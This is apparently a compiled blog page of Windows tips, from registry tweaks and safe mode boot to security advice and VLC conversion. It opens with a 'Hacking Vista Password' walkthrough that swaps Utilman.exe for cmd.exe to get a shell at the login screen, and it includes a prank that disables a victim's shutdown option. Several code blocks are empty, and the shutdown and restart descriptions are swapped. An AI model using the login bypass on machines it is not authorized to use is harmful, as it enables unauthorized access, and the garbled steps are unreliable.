Hacking Vista Password for recovery of password

Hacking Vista Password

This tutorial is quite simple and wont require so many steps…
All you need is BackTrack3,get it at Remote Exploit

First of, find a Vista computer, boot BackTrack 3,4,5 at it, then load it up and go into the console….

Now that u have the console open start typing the following commands

cd /mnt

Then do



cd sda1


cd windows


cd system32


MV Utilman.exe Utilman.old


cp cmd.exe Utilman.exe



Now the system is going down for reboot and now let it load up Windows Vista

When u get to the login place, hit the WindowsKey + U to invoke the utility manager

Then simply throw in a command




Congrats You r inside the system 🙂

Auto End Tasks to Enable a Proper Shutdown

This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.

1. Copy the following (everything in the box) into notepad.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management]

[HKEY_USERS.DEFAULTControl PanelDesktop]


2. Save the file as shutdown.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a “malicious” script, this is normal if you have “Script Safe” or similar technology enabled.

How to add “open cmd prompt” to folder context menus

Add the open cmd prompt to folder context menus
Also drives and My Computer

copy what’s in the code area to notepad and save as cmd here.reg or you can download
the registry file from the links at below

Windows Registry Editor Version 5.00

@=”Command Prompt”

@=”cmd.exe /k “cd %L””

@=”Command Prompt”

@=”cmd.exe /k “cd %L””

@=”Command Prompt”

@=”cmd.exe /k “cd %L””

links for the registory file is below
link1        link2        link3

Recover missing DLL file in XP.

Internet is a Sea of all Computer materials. You download some thing(any type of Data). At some time you don’t know that you are downloading a Virus infected file, and this Virus crash your Windows XP after some time or corrupt some files. DLL file is a type of XP system files and when any DLL file is missed, regularly you see some error with Windows File Protection msgbox. If you regularly encounter errors (such as warnings of missing DLL files or programs do not load) and you think that some part of Windows XP, you can check your system files to ensure that they are in good condition.

Recover missing DLL file in XP.

1.  First insert your Windows XP Professional CD-ROM in your pc’s CD/DVD Drive.
2.  Then click on Start button.
3.  Click on Run.
4.  Then type this command in Run textbox:

sfc /scannow

5. Click on OK button. You can see that Windows File Protection will be displayed. Wait until the process is complete.

Warning : Don’t click on Cancel button to complete the process.

This will check all your Windows system files to see if they have been edited or changed. If they have, it should be able to replace them with backups, but if it can not find them on your hard drive so it will be necessary to copy from your Windows XP CD or DVD.  If you have some problems with this tips then don’t forgot to comment here your problem.


In Windows XP Normally it takes a hell lot of time just Shutting down Windows, you have to move your mouse to the Start Button, click on it, move it again over Shut Down, click, then move it over the necessary option and click, then move the cursor over the OK button and once again (you guessed it) click. This whole process can be shortened by creating shortcuts on the Desktop which will shut down Windows at the click of a button.  Just follow these steps.

Create a shortcut for Windows Shut-Down

1. Right click on the Desktop and select New Shortcut. Then in the command line box, type.
C:windowsrundll.exe user.exe,exitwindowsexec
This Shortcut on clicking will restart Windows immediately without any Warning. Now anytime you can shut-down your windows system by double click ing this shortcut.

Create a shortcut for Windows Restart

To create a Shortcut to Restarting Windows, just navigate to above mentioned step and the type the following in the command Line box :
c:windowsrundll.exe user.exe,exitwindows
You are done. This Shortcut on clicking will shut down Windows immediately without any Warning. Enjoy it, lol…..
Disable the Shut-Down option in Computer Shut Down dialogbox.
This is a funny trick you can play on that lamer that has a huge ego, in this section I teach you, how to disable the Shut Down option in the Shut Down Dialog Box. This trick involves editing the registry, so please make backups.

Now Just follow this steps.

1. Launch regedit.exe and go to :

2. In the right pane look for the NoClose Key. If it is not already there then create it by right clicking in the right pane and selecting New >> String Value.(Name it NoCloseKey ) Now once you see the NoCloseKey in the right pane, right click on it and select Modify. Then Type 1 in the Value Data Box.

Note : Doing the above on a Win98 system disables the Shut Down option in the Shut Down Dialog Box. But on a Win95 machine if the value of NoCloseKey is set to 1 then click on the Start >> Shut Down button displays the following error message:

This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator.

You can enable the shut down option by changing the value of NoCloseKey to 0 or simply deleting the particular entry i.e. deleting NoCloseKey.
Instead of performing the above difficult to remember process, simply save the following with an extension of .reg and add it’s contents to the registry by double clicking on it.


Turn ON/OFF Num Lock on Startup

Most of standard keyboards come with a small numeric keypad which identified by the numbers from 0 to 9. However, this numeric keypad is also served for some other functions such as “Page Up”, “Page Down”, “End”, “Home”, etc… depending on which mode of the “Num Lock” is being used. 
Many Windows users find this numeric keypad useful to type the numbers faster. But oopps… after hitting a several keys on the numeric keypad, you recognize the outcomes are not what you expected. Then you recognize the “Num Lock” mode is “OFF”, so you just need to switch it on, and… start over your typing! The bad news is, by default, Windows turns the Num Lock off; however, the good news is, you can configure Windows to turn this Num Lock ON so that whenever you mean “number”, you really get a number.
Read on, you’ll get the details how to set Windows to keep the Num Lock status “ON” as default. In fact, you will need to make a small change on your Windows Registry to turn the Num Lock ON everytime Windows starts up.
IMPORTANT This article will guide to some steps to modify your Windows Registry. Stop if you’re not familiar with the Windows Registry. Making a wrong change on the Windows Registry could cause critical problems to your computer.
Proceed at your own risks
This tip modifies the Windows Registry. So be aware and careful when following the steps. Damage the Windows Registry might damage your Windows.
  1. Open the “Registry Editor” (“Start” > “Run“, then type “regedit” and Enter).
  2. Expand to the following key:
    HKEY_CURRENT_USERControl PanelKeyboard
  3. Within the keyboard folder, you should have a string value named “InitialKeyboardIndicators” with a value of 0, 1, or 2.
  4. Double-click on this string value “InitialKeyboardIndicators” and edit the value to what you want. Below is the explaination of the values:
    0: Num Lock is turned OFF on startup
    1: Disable Num Lock
    2: Num Lock is turned ON on startup


Follow these steps to add a Safe Mode option to the Boot menu.
When you’re experiencing a problem with Windows XP, you may need to boot the system into Safe Mode more than once. However, doing so can be a tiresome process. When the Boot menu appears, you must press [F8], and then you must select Safe Mode from yet another menu.
Wouldn’t it be nice if Safe Mode were available from the Boot menu? In fact, it’s relatively easy to add a Safe Mode option to the Boot menu.
Here’s how.

1. Press [Windows][Break] to open the System Properties dialog box.
2. On the Advanced tab, click the Settings button in the Startup And Recovery section.
3. In the System Startup section, click the Edit button.
4. When the Boot.ini file opens in Notepad, locate the line that ends with the /fastdetect switch.
5. Highlight and copy that line and paste it in the line below.
6. Change the section on the line that reads

WINDOWS=”Microsoft Windows XP Professional” to WINDOWS=”Safe Mode.”

 Add the following to the end of the line:

/safeboot:minimal /sos /bootlog

Some security steps to take after installing Windows

5 security steps to take after installing Windows

Windows is the most popular PC operating system around with a whopping 91% market share( That’s also the share Google has in its search Engine market). Unfortunately, more popularity means more and more people searching and exploiting loopholes. In this present scenario, security threats and exploits are on the rise and the default level of protection in Windows is not at all enough to meet them.There are some security steps that you must follow in order to stay safe from hackers and identity stealers.


The first thing is to check Whether Automatic Updates for your OS has been enabled or not. Microsoft regularly patches security loopholes and vulnerabilities and its the best bet to stay safe. Even patchy versions(read :pirated) require updates and can get all security updates(not the functional ones) here also. If everyone would have patched their systems regularly, we wouldn’t have been hit the Conficker worm which spread virally on Windows Systems due to an already patched vulnerability In Windows affecting millions of PC’s worldwide.

This is the most important rule of thumb that most people ignore. An anti-virus is the most basic protection you can get against any form of malware and its the best practice to scan all devices and downloads before executing them. Microsoft offers its own Anti Virus, Microsoft Security Essentials, to Windows users, which along-with having excellent detection rate,is also completely free. Users looking for something advanced can try out the various paid Security suites by Norton, Kaspersky, McAfee etc. or the free ones from AVG,Avst, Avira etc.


UAC stands for User Account Control which Is used by Windows to detect suspicious programs and activities going on and also, which I admit, is pretty annoying. But, instead of disabling it, you can decrease the intensity level via the slider present in the Control Panel. Also, instead of blindly clicking on Allow on all the pop-ups, look twice to see whether that program is genuine or fake.User Account Control can serve as an important enough tool if you look past its irritating nature


Take care to ensure that apart from your OS, all the softwares which you are installing should be the latest and updated version. Hackers are quite well known to exploit the various softwares from other manufacturers,especially Adobe’s popular PDF reader and flash player. The manufacturers usually patch their programs from these exploits and regularly updating the tools may very well save you from getting hacked. Mostly, its the common and more popular softwares which are exploited so make sure that you get their latest versions running on your PC.


Although most of the people stick with the default Internet Explorer browser, its better to change it to the other popular one like Mozilla Firefox or Google Chrome. Internet Explorer 6,which is bundled in Windows XP, contains a lot of security holes and if you’re using a Patchy copy of your OS, chances are you won’t be able to update to Its version 8 or above, which is definitely more secure and better.

At the end, a little common sense and basic knowledge goes a long way in staying safe. The Internet is a dangerous place , but if the end user be aware, all is well

Trick to use VLC as a video converter

VLC player probably is one of the most used feature rich media player used. I used to waste a lot of time trying to download different stupid video converters that did not even get my job done, until recently i came to know that i already have the best free video converter possible. This is how you can use VLC player as a video/audio file converter…

For Windows

1. Click Media ¨C> Convert/Save. .
2. Select the file you want to convert using Add button. Now click on Convert/Save button and next window will appear.
3. Now click on browse and select where you want to save theconverted file. Down under you can see a drop down menu from which you can select the output format. Hit the Start button, sit back and relax….

For Mac:

1. Click File -> Streaming/Exporting Wizard and check Transcode/save to a file and hit Next.
2. Click choose and select the file you want to convert and hit Next again. Check Transcode video andaudio boxes and select the outputformats for you video, after hit Next twice.
3. Select the location where you want to save the output using Choose button, hit Next and later Finish.
Give it a try and comment back your feedback! Have Fun! Hit Thanx!